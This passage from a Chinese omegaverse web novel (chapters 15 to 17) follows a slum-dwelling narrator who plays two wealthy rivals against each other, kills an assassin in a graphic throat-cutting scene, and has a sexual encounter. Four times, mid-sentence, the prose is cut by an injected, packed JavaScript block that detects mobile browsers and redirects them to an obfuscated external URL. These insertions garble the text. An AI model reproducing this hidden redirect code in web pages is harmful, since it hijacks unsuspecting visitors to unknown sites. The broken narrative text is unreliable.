莫名其妙,现在到处都乱七八糟的,我又是一副穷酸样,怎么想都不可能天上掉馅饼。 鬼知道我要是兴趣上头准备享用美食的时候会不会突然七八十个人冲进屋子里然后把我抓了。 他继续用脚跟挑逗,竟然还借着桌面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786754|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阻挡试探更深的底线,不断向上攀岩。 我依旧保持我老实的人设,一脸真诚地询问他:“你不舒服吗?剩下的我自己来吧。” 护士的表情一僵,跟见了鬼似的看着我。 “没,没事。”他呵呵笑两声,继续给我包扎伤口。 离开前,他还是没有放弃地往我口袋里塞了张纸条。 不是,这人干嘛那么坚持啊? 我是那种明知道有危险还色心上头的人吗……我就看一眼。 从口袋里拿出纸条,我看见上面用黑色签字笔落下的一串通讯器ID,以及地址。 我看了看地址,很好,是我到不了的地方。 那就算了。 我随手就揉成纸团丢进垃圾桶。 这个时候莱文已经结束通话回到我身边。见我伤口包扎好就让助理把剩下的药交给我。 乘坐回往贫民窟的路上,我处于好奇心问他:“你打算和奥维拉一起住吗?” “嗯。”莱文恢复冷脸。 我见他眉头紧蹙,于是抬起没受伤地手,悬停在他的眉头处,说:“你们都是有苦衷的好人,应该好好聊聊。也许事情还有转机呢?” 莱文的视线聚焦在我的手指处,过一会就移开了视线。 “抱歉,我以为我们是朋友,擅自觉得可以和你说点心里话。”我沉声失落。 “……嗯。我会尝试的。”莱文还是妥协了。 我没让莱文送我回小破屋,而是直接让他回高级公寓。 好吧,我就是想要见到奥维拉,试探试探两人之间的相处方式,然后趁机搞点挑拨离间的小动作。 而等真的见到奥维拉的时候,我的脑子里突然蹦出来一句歌词:为所有爱执着的痛~为所有恨执着的伤~ 破图书馆怎么老爱搞这些莫名其妙的东西! “真是稀奇,你们竟然会待在一起。”奥维拉双手环着站在车前,含着深意的目光在我和莱文之间打转。 这个神经病要发疯了,我经验丰富地给出诊断书。 “奥维拉,这种问题应该由我来问你。”莱文不悦地皱眉。 “你想问什么?如果是昨天晚上的问题,那我还是那个答案,别想知道。”奥维拉扯开笑容说道。 他红色的头发在阳光下鲜亮得晃眼,眼睛却是深色的黑。 对比太鲜明了,以至于攻击性十足。 周围的空气微微凝固,我就站在旁边假装不存在尽可能地降低存在感。 “呵,婚外情还真给你整出感情来了吗?”莱文讥讽说道,“奥维拉,当初如果不是我,你以为你能够继续待在上行城吗?” 奥维拉脸色骤变,笑容在此刻扭曲成了惊人的狠毒,“我有其他选择吗?莱文·斯科特,你一副高高在上的模样简直比所有人都恶心!” “说到底就是你不知感恩!”莱文怒骂,“那时候除了我难道还有其他人?我早就该知道,你就是个毫无廉耻的人!” “你又有多道德?无人区出事的时候,你估计在哪个犄角旮旯里暗自窃喜吧!你就是个无人在意的蟑螂!” “砰!”莱文一把抓住奥维拉的衣领将其压在车盖上! 原本看戏津津有味的我立刻瞪大双眼! 我干!你们吵架就吵架动什么手啊! 搞得我也不得不加入战斗!我还有好多事没听呢! “不要吵了!为什么一定要用暴力解决问题!”我痛心疾首地强制把两人分开,“你们各自都有苦衷,为什么不心平静气地好好聊聊!” 15.第 15 章 其实有人打架的时候我绝大多数情况下都不会去劝架,反而是站在边边角角看热闹。 只要没有波及到我,我才懒得管这群人到底为什么打架,怎么打架,最后谁输谁赢。我就是单纯的爱看热闹。 可现在奥维拉和莱文打起来,我却感觉心闷气短。 干他爹的!要是两人打上头为了气死对方一次性把所有秘密捅出来怎么办? 那我这个奥维拉出轨对象兼职克斯蒂小白脸要怎么办?就算是把我五马分尸也不够他们几个人玩啊! 所以我必须阻止。 一只手拉住奥维拉,一只手拉住莱文,我插足在两人之间,“够了!你们不要再做这些伤害对方的事情了!” 好恶心,比我看得某的三流小说的台词还恶心。 莱文好歹顾虑到我刚刚救他狗命,手臂上还有伤,于是适时地停下手往后退好几步。 而奥维拉完全疯癫,出手的动作毫不留情。在被我分开后更是怒火中烧,一巴掌就往我身上甩。虽然我躲避得及时,但还是被他打中了手上的手臂。 “嘶——”我倒吸一口凉气,“奥维拉!” 血腥味扑鼻后,奥维拉才微微冷静下来。 他一双漆黑的眸子盯着我往外渗血的手臂,嘴角扯开一个皮笑肉不笑的笑容,说:“无用,你在偏袒他吗?” 神经病啊!你就关注这个?没看见我的手都快断了吗? 我抿唇,摁住上臂止血,对着奥维拉欲言又止。 “奥维拉……我并不是偏袒,而是不忍心。” 奥维拉目光冰冷,瞧我的目光里似乎掺杂了某种粘稠的情绪。 我深吸一口气,对莱文说:“我现在和奥维拉聊一聊。” 莱文傲慢地昂首,“嗯。” 想要和奥维拉单独相处是因为我要给奥维拉做心理建设。 毕竟他是个神经病,而神经病的脑回路都很奇怪。我担心他莫名其妙就把我这个婚外情人的身份透露出去。 起码不能现在透露。 走到莱文看不见的小角落时,我伤口的血终于停止渗出。 但因为出血量有些大,我一时间感觉到头昏眼花,缓和了好一会才让眼前恢复清明。 “奥维拉……斯科特先生是你叫回来的吗?”我开门见山问他。 奥维拉瞥了我一眼,竟然又挂上神经质的笑容,“当然不是,有你在身边,我怎么会把他叫过来?是不是克斯蒂对你说了什么才让你这样闹腾?真可爱,你是吃醋了?” 得到答案的我有片刻的无语。 克斯蒂,你好样的。不让你未婚夫过来,反而让奥维拉丈夫过来,这是要逼我去死啊! 我当然知道莱文通过东区码头渠道来贫民窟另有目的,捉奸只是顺带的。但我这不是还没弄清楚他的目的嘛!我总不能憋着脾气不发泄,总得有个宣泄口。 “奥维拉,盒子我丢了。”我看向奥维拉的眼睛,目光坦然地接受他的注视。 奥维拉一愣,短时间内无法处理我的话,属于眨了眨眼睛。 我又重复一遍,“昨天晚上,我把盒子丢了。” 奥维拉终于有反应了。 依旧是神经质的笑容,还带着些许的包容,那是对待家里叛逆宠物的笑容。 “无用,你真的吃醋了,哈哈哈。盒子在我那,你丢掉的只是个替代品。” “可我就是丢了。”我第三次重复。 这一次,奥维拉彻底失去了调动面部肌肉的能力。 “昨天我去海边遇到了斯科特先生,他并不知道我为了谁去海边吹风,但还是任由我上船。仅仅是这个举动就让我明白,我必须把盒子丢掉。” 奥维拉的眉眼染上怒容,好像要把我生生吞掉似的恐怖。 而我面不改色,“我向你坦白,奥维拉。我曾经爱过你,也狠过你。可你根本不在乎我的情绪,你只是享受左右我情绪时高高在上的感觉,好像这样就可以弥补不幸婚姻中缺失的安全感。” “白无用!你竟然敢——” 我摁住了他的眼角,动作温柔地仿佛每次亲密时他对我做的那样。 “奥维拉,你当时没有选择的权利,也没有拒绝的权利,于是你只能走入这一段没有意义的婚姻里,所以你没有错。错得是我,奥维拉,是我没有直面内心的勇气,也没有带你脱离苦海的能力。我只是在21日那天不小心吃了药,然后和你发生了关系。如果21日那天我再坚持坚持,你就不会面临现在的问题。” 眼前的beta男性陷入了极大的震动中,好像在经历什么东西破碎又重组的激烈过程。 他的眼角被我揉得通红,在极白的皮肤落下红色的印子,几乎和鬓边的红发融在一起。 过了许久,奥维拉声音沙哑开口,“我会告诉他,你就是我的情人。” “这是你的自由,奥维拉。而我受到的一切惩罚都罪有应得。”我坦然面对。 奥维拉沉默,眼眸依旧死死盯着我。 我知道他肯定不会说出去,尤其是被我点破心思后就更不会说出去了。 破防的神经病都这样。 我们两人最终以低气压回到了原来的地方。 看着他们两人看似友好和谐地一起进入高级公寓,我就想笑。 你们可千万别和好啊,和好了我上哪去吃软饭? 这个软饭,就是香! 心情愉悦地我回往小破屋的路上开始漫无目的地发散思维。 我什么时候能自由地乘坐四个轮子的车呢?不是警车的那种……我也不是司机的那种。 通讯器传来提示音,我点开来发现竟然是失踪一天一夜的阿丽。 昨天晚上这人跟我分开后直接失联,后续发送多条消息一概不会。 现在看到这条消息,我就气得想笑。 [组织费一百块:你回去的时候要小心。] 快速浏览完这条信息,我心脏快速跳了一下 [AAA货运公司白经理:什么意思?] [组织费一百块:昨天晚上我回去的时候看见了疑似举报你的人,于是去跟踪他。但我跟丢了。我猜测他也许会去找你杀人灭口。] 啊?我?杀我灭口? 过河拆桥还不够,还要杀我灭口? 我到底哪里值得他们赶尽杀绝啊!我就是刚刚升职加薪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790767|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不久准备吃软饭上位的底层小牛马啊! 我把我的问题连续发送给阿丽,可阿丽再没有回复我。 想也知道她现在还要处理其他的问题。说不定她们组织内部已经漏成筛子,除了她和劲劲的alpha男其他都是叛徒! 小命受到威胁的我又开始焦虑了,总感觉身边都不安全,就连路过的一只狗都携带狂犬病毒。 不行啊,我总不能坐以待毙。 他们到底为什么想要杀我灭口?我明明什么都没干! 会不会和莱文·斯科特有关? 我绞尽脑汁地搜肠刮肚,要把脑子里所有的信息全部拉出来盘一遍。 奥维拉和莱文争吵时透露过无人区相关的信息,似乎是暴乱。而我的记忆中无人区只发生过一次大规模暴乱,那就是七年前。那个时候死了很多人,从监工到矿工很多都被政府的军队暴力镇压,主谋则是被压上处刑台。 我就是趁着这个混乱时期和另一个人混出无人区的。 莱文通电话时还说出过一个人名,称为“昂撒”。昂撒是谁?难道就是死掉的主谋? 不,不对!如果昂撒死了,莱文没有必要亲自跑一趟。 假设昂撒是七年前大暴乱的主谋,那么被推上处刑台的就是一个替罪羊,而昂撒则是以另外的身份活了下去。莱文之所以27日来到贫民窟,或许是收到了昂撒还潜伏在贫民窟的消息。 那他又是怎么收到消息的? 我的脑子仿佛受到当头一棒! 21日的叛乱宣讲! 昂撒是和阿丽等人一个组织的人吗? 叛乱宣讲的主谋是阿丽组织的一员吗? 举报我的人又是什么目的?20日那天在仓库内到底干了什么! 这些叛乱党一定是竞争关系吗?有没有可能是合作关系? 啊啊啊好乱啊!我的脑子要爆炸了! 我无声嘶吼,尖叫,恨不得躺在地上蛄蛹。 不不不!现在要思考的根本不是这些!而是我的小命又要不保了!这些该死的人就是想要我的命!而我根本不知道我哪里惹怒他们以至于他们要不惜暴露身份来追杀我! 回家路上的我脚步虚浮,在下一个路口处生生停下脚步。 这里……是西区。 空荡荡的,没有人。 地面的血渍和垃圾污水融为一体,腥臭味和苍蝇蚊虫的鸣叫互相交错。 警戒线已经被风吹垮了,耷拉地依靠在地上。 不妙!不妙!不妙啊! 一股刺骨的寒凉从我的脚底板往上攀爬,顺着血管钻进我的心脏! 几乎是眨眼的瞬间,我从污水坑的倒影里看见锋利的刀锋朝着我的脖子狠狠扎下去! 我浑身上下所有的警报器炸开,本能地往旁边扑倒! “刺啦——” 刀锋划过建筑物,迸射的火花差点撒入我的眼睛里。 我狼狈地躲开致命一击,不慎跌倒在地! 脖子处传来细微的刺痛,之后是温热的液体渗出。 我冷汗直冒,心脏也疯狂跳动几乎蹦出嗓子眼。 啊啊啊啊!谁来救救我啊! 16.第 16 章 我不理解,我真的不理解! 我到底做了什么才让这群人对我穷追不舍,还要夺我的狗命! 连滚带爬地往前跑,身后的人则是步步紧逼。 我是不是该庆幸此人为了不引人注目所以没有用枪? 当刀刃再次剐到我脖颈处大动脉附近时,我冷汗直冒直接一个开口求饶的大动作,“饶命!” 那人没动,依旧要哗啦我的脖子。 “哥!”我凭着观察察觉到对方是一位beta男性,“你们到底为什么要杀我?过河拆桥也没必要穷追猛打吧?好歹让我死前知道真相啊!” 他带着兜帽还有口罩,唯有一双眼睛我瞧着眼熟,但就是想不起来在哪里见过。 我屈膝给他的关键部位痛击,趁他吃痛时再次连滚带爬地往前跑。 该死的警察乱七八糟抓人,现在好了!周围一个人都没有,求救都找不到路子! “砰!” 两人撞进了一间木板房内。 房间内很空荡,十几平的小屋子内是满是垃圾和灰尘,还有当初强制逮捕时产生肢体冲突后留下的红色痕迹。 第三次被他按在地面上,我眼睁睁看着匕首距离我的心脏越来越近。 死亡的威胁越来越大,心跳则是越来越快。 “你告诉我!到底为什么要杀我!”我破防了,连求饶都不想干了,只想知道这群该死的贱人凭什么杀我! “你们的首领是不是昂撒!是不是从一开始就打算杀我?我到底做了什么!当初我们从无人区离开杀掉的人是不是昂撒!” 我几乎是歇斯底里地将心中的怒火和疑惑发泄出来,“拿了他身份去克亚区的又不是我!你们有种去克亚区杀了白无垠啊!” 他终于有了反应,眼神里闪过些许的惊愕。 而我也抓住让他愣神的机会,猛然抄起旁边的木凳子狠狠往他脑袋上一砸! “哐啷!!” 还不够! 我翻身将他压下,凶狠抢走他的匕首然后不给他丝毫反应机会就生疏地抹了他的脖子! 温热的血洒在脸上时,我的手还在发抖。 我是下了死力气的,刀身完全没入了他的脖子,将他的大动脉从内部挑出来。 时隔七年再次看见熟悉的画面,让我的大脑反应了足足十几秒钟,在对方咽气后才意识到自己做了什么。 “艹!艹!我艹!”我唾骂着站起身,“我透死他大爷的,还真是顶替身份过来报复了!” 我拿出通讯器找到那个莫名其妙加回来的号码,点开聊天界面后就是一顿激情输出,直到对方打来好几个问号,我的怒火才发泄完。 这群贱人们打一开始就是要杀我灭口的,和我互换身份进入仓库这是他们计划的一部分。 差一点被杀死的恐惧和被愚弄后的愤怒混合在一起的滋味不好受,让我觉得心脏和大脑调换了位置,一个疯狂充血抽搐胀疼,另一个则是眩晕恶心恨不得爆炸。 可当我看向脚下的尸体时,我迅速恢复冷静。 伸手扒开尸体的面罩,我认出了这个人是我的邻居。 21日当天他亲眼看见我把奥维拉带回家,25日当天也是他亲眼看着我被警察逮捕。或许他还看见警察们从我的房间里找到了盒子。 昂撒会在暗处看着我吗?他一定是谨慎小心的性格,一定要看着我死掉才会满意。如果不满意会如何?打算亲自动手? 我开始回忆七年前那一场暴乱的细节,尤其是当时和我缠斗的几人。 一个alpha男性,一个beta女性以及一个beta男性。 我把两个beta杀了,并确定心脏停止跳动。而alpha则是被白无垠杀了,现在有大概率是没成功弄死。后来我们从他们的口袋里翻找出离开无人区的批准和证明,埋名隐姓混出无人区,然后在贫民窟内低调生活。没过多久,克亚区的人就找上门,把顶替了alpha身份的白无垠带走了。 昂撒一定是上行城的人,只有足够重要的身份才会让莱文·斯科特亲自来跑一趟。 七年的时间里昂撒一直在贫民窟吗?他为什么不离开?贫民窟内有什么重要的东西? 我开始整理这段时间以来获得的所有信息,按照时间的顺序由远到近在脑袋里缓慢铺开。 7年前无人区暴乱,昂撒侥幸存活,然后想办法混入贫民窟。因为合法身份被白无垠顶替了,他不得不徘徊在贫民窟内。 回到现在的20日,昂撒派人前来与我互换身份,并在仓库内留下证据。21日我带着奥维拉回家并被邻居亲眼目睹。25日和26日我二进审讯室,27日也就是今天早上凌晨我把盒子送出去。27日晚到现在,我被刺杀。 无人区,盒子,叛乱宣讲…… 我眼睛一睁,一个惊悚的猜测从我的脑子里蹦出来。 21日的叛乱宣讲真的重要吗? 呼吸越来越急促,以至于我的眼前一片漆黑。 可能……我是说可能,叛乱宣讲本身就是个扰乱视线的活动呢? 主策划,副策划以及若干组织成员,还有被鼓动而暴乱的普通人,周围遭受无妄之灾被强制逮捕的人,都是丢出去的烟雾弹。 小心谨慎埋伏在贫民窟内多年的昂撒,怎么可能会让组织进行一场牺牲人数众多还可能暴露身份的叛乱宣讲? 牺牲足足两百人的性命来转移视线,他在21日那天到底做了什么! 除了我和白无垠没人知道昂撒真正的样子。 他们必须杀了我,而且不惜一切代价地杀了我! 强烈的恐惧涌上心头。 我手指颤抖地拿起通讯器,大脑飞速运转到底要怎么处理尸体。 我要活下去!对我这种底层小牛马来说根本承受不住一个组织的追杀,除了寻求靠山别无他法。 我第一个想到的人是莱文。 他作为处理这件事的大法官,一定有能力保护我。 可我心里还有一丝顾虑。如果是来抓捕叛乱党首领,大可光明正大过来,没必要走东区码头。那就说明昂撒的真实身份一旦爆出就是丑闻。 丑闻都需要替罪羊来洗白,我这个知情人很可能成为替罪羊。 于是我想到了克斯蒂。克斯蒂或许知道一些,但一定没有莱文知道的多。这其中的信息差我可以好好操作。 在等待克斯蒂的时间里,我的大脑依旧在运转。 底层小牛马的命很多都注定了,就跟美味的食物塞进肚子里后无论转了多少圈,最后都会变成狗屎。 轿车轰鸣的声音渐行渐近,停在了门外。 我没有第一时间开门,而是找到一个合适的地方坐好,然后呆呆地看着地面上的尸体。 克斯蒂走进来,在看见尸体后脸色刷白。 而我则是一愣,然后迅速抓起外套盖住尸体的惨状。 “抱歉,克斯蒂……我,我没有办法,我很害怕,我第一时间想到的就是你。我没想到你会过来,我和你发消息的时候,我就后悔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797145|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了……” “不用说了。”克斯蒂打断我。 他嫌弃地绕开尸体走到我面前。 保镖们守在门口,挡住屋内的一切画面。 “我……我要去自首对吗?”我的眼眸里充满痛苦,昂着脑袋迷茫无措地仰望克斯蒂,沾满鲜血的手在即将触碰他时又缩回去。 “当然不用。”克斯蒂抓住了我的手,语气温柔又带有某种愉悦,“你没有错,无用。你生命受到了威胁,你这是正当防卫。” “真的吗?”我面带希冀问。 “当然。”克斯蒂的眼眸弯成漂亮的弧度,白色的柔软发丝顺着他的手腕往下垂落,与我手背上的粘稠的血沾染在一起。 “克斯蒂……克斯蒂……克斯蒂……”我就这样一声又一声地轻轻呼唤他的名字,然后在他手掌心的带动下将脸埋在他的小腹处。 纤细,柔软,且韧性十足。 还有一股淡淡的栀子花香气味。我不知道这股香气是沾染了办公室的花香,还是他精心挑选得与信息素一致的香水。 反正闻着心旷神怡。 “你是不一样的,克斯蒂。”我对他说,“你和任何人都不一样,你为什么出现在贫民窟里呢?” 克斯蒂的金色瞳孔收缩了一瞬,很快被迷蒙的水雾覆盖,用上更加迷离的情绪。 我不用担心尸体怎么处理,克斯蒂自有办法。 我也不用担心浑身是血该怎么解决,仆人们会听克斯蒂的话把新得衣服送过来。 omega的动作很生疏。 毕竟这种事情应该由omega的配偶去教导,而不是omega学校。他们青涩的表情和笨拙的动作对alpha来说是最好的□□剂,到了床上自然会发狠忘情。 他连舌头该伸出去多长都不知道,只能在呼吸的间隙轻轻舔舐我手臂上又开始渗血的伤口。 “无用,你能闻到我的信息素吗?” 我摇头,“克斯蒂,我闻不到。但我猜测你的信息素是花。” 克斯蒂笑起来,手指拂去被汗水黏在面颊上的白色发丝,“是栀子花的气味,特意挑选的香水。以后我会让你一直闻的。” 哈哈哈那可别了吧,一直闻这味道我要是过敏了怎么办? 我从不正面回应任何有关承诺对话,只会用行动来替代。 嗯……果然无论是什么类型的天龙人,扣扣空间都是热的。 一切结束后,我神清气爽。 尸体有人处理了,生命安全暂时得到了保障,生活质量稳步提高。 只要白无垠在克亚区没有突然给我爆出什么惊天大雷,我的前途一片光明啊! 站在阳台边,我掏出刚刚从床头柜的花瓶里摘下来的花,掐头去尾后假装它是香烟地叼在嘴角。 好吧,其实任何能够麻痹我神经和思考能力的东西我都不喜欢。但谁让个这个动作在三流小说里那么流行呢,我在贤者时间来一根理所当然吧? 这么想着,我用牙齿试着咀嚼了一下花枝。 “呕!”我的五官立刻扭曲,赶忙把花枝吐出来。 破花,都是菜叶子怎么就没青菜好吃呢? “噗嗤!”隔壁阳台的邻居忍不住笑出声,“你原来叫无用?” “……?”我满脸问号。 眼熟的邻居笑容甜美,“他叫得好大声,我都听见了。” 我透!你都知道我俩才在干什么了,你还好意思穿个白衬衫就摇摇晃晃走出来……有一说一这腰真细啊。 17.第 17 章 其实我觉得我是个绅士,从不会对异性动手动脚还乱看乱瞄。 何况我是个beta,闻不到信息素也无法散发信息素,于是遇到某些事情会更加冷静。 曾经我就在贫民窟内遇见一个陷入易感期的alpha男性。哪怕对方身材火辣性格带感,但我还是很绅士地在事前询问他足足三遍。 他在中途一直骂得很脏,我听了几遍发现都是颠来倒去的一些诅咒那些让他沦落贫民窟的贱人,就没什么兴趣听了。 事后他竟然连钱都没有给我,而是高高在上说什么“几年之后我会派人来接你”之类的空大话。 然后我的家差点被端,花费三寸不烂之舌才保住我的小命。 从那天以后我就认识到一个珍贵的大道理:白白送上门的饭菜不能吃,吃了会中毒。 所以此时此刻在我看来,隔壁笑容甜美的小omega和当初害我差点去死的免费饭菜别无二致。 “怎么了?”小omega见我不说话,于是上半身压在栏杆上,“无用难道不是你的名字吗?还是说他不喜欢你和别人聊天?那他真是霸道。” 我依旧没说话,视线快速扫过他的腰部后就克制地收回来,充满礼貌地对他说:“夜里风很大,多穿些吧。” 他的眼眸微微睁大,嘴角的弧度甜蜜更甚,“哈哈哈,你真的很可爱。” 服了,奥维拉喜欢说我可爱,你也喜欢说我可爱。我算是弄明白了,我这个小牛马在你们这群人眼里干什么都是不具备反抗能力的。 偏偏我还真就没法反抗了! 好烦,好想把这群人全部踹爆。 别说什么好不好色了,我现在冷静得可怕! 一双手攀上我的肩膀,克斯蒂将下巴磕在我的肩膀处,微微侧头就瞧见了旁边阳台上的omega。 对上视线的下一秒,克斯蒂就撇嘴移开视线,刻薄的话脱口而出,“无用,这样的人最好离他远一些,他身上的疾病比蛆虫还多。” 被嘲讽的omega毫不在意,反而继续朝我抛媚眼,“说话真难听,你也忍受不了他吧。这些上流社会的omega都很青涩,能让你舒服吗?” “下贱胚子。”双标如克斯蒂怎么允许有人骂他,完全冷下表情,“好好把身子洗干净,你身上信息素的味道快把墙壁腌入味了。” 我保持沉默,实则内心啧啧称奇。 原来此omega也才刚刚搞完吗?听克斯蒂的意思,还是多人工程教学? 可恶,beta闻不到信息素的劣势就在这了,瓜就算喂到嘴边都没意识到。 两位omega的争吵没有持续太久。 一方面是对方家里有人,另一方面是我不耐烦。 将人拉回了卧室内,我从地上捡起外套给他披好,“夜晚阳台的风很大,你刚刚……还是多注意些吧。” 我很有技巧地含糊带过某些词语,让我的人设看起来更老实笨拙。 克斯蒂果然扬起笑容,懒懒洋洋地披着外套,抓着我的手亲昵询问,“你的伤口如何?我再给你包扎一下吧。” 能重新包扎肯定是好的。 我又不是a,而且我很惜命。 他刚刚从医药箱里找到绷带,隔壁就开始闹起来。 我听了听声音,不像是在做生物工程,倒像是打架。 过渡区里有很多军人alpha,如果隔壁小omega真和alpha打起来,一定会被打得很惨。 “隔壁怎么了?”我装模作样关心一下。 “只是价钱没谈拢。”克斯蒂漫不经心,眉间凝着的是不屑和鄙夷。 见我依旧神色担忧,克斯蒂嘴角撇下去,“只是个下贱胚子,不用在乎他。他这样的omega就算没有锦衣玉食,也能好好靠着性别优势挣一笔钱。可他偏偏要来这,沦落到这个地步理所当然。” omega能有什么性别优势? 我心中充满了倒反天罡的疑惑。 贫民窟内其实也有omega,但数量太稀少了。最漂亮的几个被地头蛇垄断,不怎么漂亮的就被送去了特殊会所挣钱。 与其说是性别优势,不如说是别无选择的顺势滑落。 世界上的阶层是数不尽的,最底层是无人区和更遥远的海岛,往上一层是贫民窟,然后是克亚区,上行城。就算是上行城里的最高执政人员,面对白灯湾下来的天龙人也得卑躬屈膝。如果再把阶级细分,那还要分为abo。 就像是一个庞大且精密设计的仪器,压在所有人的身上汲取血液。 而我这种底层小牛马则是仪器消耗最快的耗材,最不值钱却数量众多。 我的思维渐渐发散,思考白灯湾的人怎么生活。 就算是活了23年,我储存在大脑里的知识依旧贫瘠。16年前我最擅长打架和挖矿,16年后我擅长演戏和花言巧语。这些是我为了生存自学的手段,可如果问我二元一次方程以上难度的数学题,我抓耳挠腮一个月也思考不出来。 上行城和白灯湾的人可真他爹的体面。 吃不完的新鲜食物、看不完的书以及无论怎么也住不完的房子。 “克斯蒂,他有想过离开这里吗?”我问道。 克斯蒂剪断绷带,弯腰为我包扎伤口时正好露出了胸前的红痕。 “我不在乎他。”克斯蒂的语气高高在上充满傲慢,“如果他不是这里驻军的公认床伴,我一定把他赶出公寓。” 我没有表情。 因为我怕绷不住地露出不符合人设的表情。 手臂很快就包扎好,而夜色已深。 第二天我早上醒来的时候,克斯蒂在阳台边整理花圃。 我的脑子空白了三秒钟,发现有人给我的通讯器发送了一条信息。 点开一看,是奥维拉。 我原本没想管的,但对方的一条视频点开后让我瞬间冷汗直冒。 是监控录像,还是西区的监控录像! 我干啊啊啊啊!什么时候装的录像!我为什么不知道! 汗流浃背的我左眼观察阳台边的克斯蒂,右眼查看视频。 很好,是昨天晚上我被追杀进入房屋后的画面。 上面清晰详细地记录了克斯蒂前来找我,我跟随克斯蒂上车,保镖们处理尸体的整个过程。 我透他大爷的! [奥维拉:无用,你应该过来,和我好好谈谈。] 谈什么?谈我的小命吗? 这个神经病想干嘛!要我去死吗? [奥维拉:你在克斯蒂的床上吗?] [奥维拉:omega的滋味那么好吗?你对这样的贱人流连忘返对吗?] [奥维拉:难道所有omega都是这样见不得其他人幸福的货色?] 好了好了别发了!我求你了行不行啊! 在这样发送信息我的老旧通讯器就要爆炸了! 我慌得没边,装作镇定地穿上衣服。 克斯蒂注意到我的动作,从花圃中抬起头,“你要去哪里?” “我要回公司。”我说道,另一只手依靠高超的技巧盲打回复奥维拉。“我不能这样颓废下去,我得继续努力工作,向你证明我的能力。” 白发的omega闻言,嘴角的笑容荡起来,“只是一天而已,不用着急。” “不,说不定一天的时间其他人就会超过我,我不能松懈。”我义正言辞。 我走过去在克斯蒂的额头上吻了一下,就脚步匆忙地离开卧室。 走到一半,我差点破口大骂! 干!我忘记我这个贫民窟小牛马没有通行证!想要离开过渡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808267|174667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区还是得靠克斯蒂! 可等我折返回去希望克斯蒂给个临时通行证时,克斯蒂又不让我走了。 他就这样慢吞吞按照自己的节奏做事。整理好了阳台的花圃,就去厨房简单做早餐,甚至做了一套瑜伽。 而我什么都不能干,就是在这干着急。 通讯器要炸了啊该死! 等好不容易乘坐上车前往公司,我抽空看一眼通讯器。 [奥维拉:半个小时内如果不来见我,视频就发给莱文。] 我怎么又要死了啊! 我主动找莱文和奥维拉找上莱文完全是两个性质啊!谁知道奥维拉发视频的时候用的是什么说辞! 我邻居明面上可是清清白白的人啊,我却有两次进入审讯室的经历。我就算狡辩说邻居是叛乱党也得拿出证据来啊! 来到公司的顶层,我见到了在这里等候许久的奥维拉。 两个塑料兄弟一见面,嘴角的假笑简直比廉价胶水还劣质。 “奥维拉,你现在应该回去和你丈夫待着。”克斯蒂来到了窗台边,手指一下又一下地拨弄栀子花。 奥维拉靠着沙发,不遑多让地说:“你也应该早点回去吧,你的未婚夫一定希望早点和你完婚。” 我低着头假装鹌鹑。 “所以呢?你到底有什么事?”克斯蒂不耐烦说。 奥维拉的小腿晃荡起来,让跟随的下属拿出了一张逮捕令,还指了指我的,笑容灿烂说:“当然是要把白无用带走。我又有了新的证据,她是叛乱党的嫌疑增加,需要跟我去一趟审讯室好好审查。” “证据呢?”克斯蒂冷笑。 “我当然有。”奥维拉突然站起来,一步步走到奥维拉面前。 我这个角度看,可以看见两人眼底都是恨不得戳死对方的刀子。 “克斯蒂,我有昨天晚上你拉着无用上车的视频。你猜我要是把视频发回个你的家族,你会面临什么局面?” 克斯蒂面色大变,“奥维拉!你这个可恶的贱人!” “你才是可恶的贱人!我是个beta,我什么都不怕。可你是个omega,我随意编造一个理由就能让你身败名裂!” “哈!没有信息素的家伙就只能在这狂吠,你在床上的时候也是这样吠叫来吸引床伴注意力的吗?”克斯蒂眼神阴毒瞪着奥维拉,“” 撕破脸皮的兄弟捅刀子就是那么快,我作为旁观者叹为观止。 但是一想到两人较量中间牺牲的是我,我又悲从中来。 日他大坝的,你们两个干脆立一份遗嘱全部遗产交给我然后都去死吧。 最后我还是被奥维拉带走了。 克斯蒂安抚我,让我不用担心。 “放心吧,无用。你只是正当防卫而已,不到一天我就会让他们乖乖放了你。” 